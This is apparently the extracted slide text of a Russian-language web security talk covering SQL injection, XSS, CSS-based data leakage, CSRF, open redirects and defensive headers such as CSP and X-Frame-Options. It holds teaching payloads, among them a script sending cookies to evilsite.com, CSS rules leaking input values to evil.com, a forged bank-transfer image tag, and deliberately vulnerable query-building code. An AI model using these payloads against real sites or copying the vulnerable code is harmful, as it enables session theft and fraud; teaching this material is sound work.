Олег Мохов
потенциально возможное событие, которое посредством работы с компонентами сервиса, может нанести ущерб
свойство сервиса, использование которого злоумышленником приводит к реализации угрозы
реализация угрозы, путём использования уязвимостей
The Open Web Application
Security Project
SELECT * FROM accounts WHERE user='1'
http://mysite.com/user?id=1
let sql = "SELECT * FROM accounts WHERE user='%user%'";
sql.replace('%user%', req.query.id);
http://mysite.com/user?id=-1' or '1'='1
SELECT * FROM accounts WHERE user='-1' or '1'='1'
атака при которой вредоносный код внедряется в код вашего сайта и может быть запущен
res.render('Привет, ' + req.query.username);
<script>
window.location='http://evilsite.com?a='+document.cookie;
</script>
http://mysite.com?username=Vanya
http://mysite.com?username=Vanya
<div style='{{css}}'>
<input value='{{value}}'>
Hello, {{title}}
{{image}}
</div>
<input value='{{value}}'>
value = "' onmouseover='alert(1)'"
<div style='{{css}}'>
input[value^="a"] {
background-color: url(//evil.com/?v=a);
}
input[value^="b"] {
background-color: url(//evil.com/?v=b);
}
{{image}}
Content-Security-Policy: default-src 'self'
Content-Security-Policy: default-src 'self' *.trusted.com
Content-Security-Policy:
default-src 'self';
img-src *;
media-src media1.com media2.com;
script-src userscripts.example.com
Content-Security-Policy:
default-src https://onlinebanking.jumbobank.com
X-Frame-Options: SAMEORIGIN
X-Frame-Options: DENY
if ($http_referer !~ "^https?://([^/]+\.)?webvisor\.com/"){
add_header X-Frame-Options SAMEORIGIN always;
}
Сессии на основе cookie
GET /index HTTP/1.1
Host: example.com
Cookie: session_id=123456;
Сессии на основе cookie
http://example.com/user?accountId=12345678
http://mybank.ru/transfer?amount=100000&to=123456
<img
src="http://mybank.ru/transfer?amount=100000&to=123456">
А давайте напишем свой алгоритм шифрования!
http://mysite.com/nimda
http://mysite.com/redirect?url=http://evil.com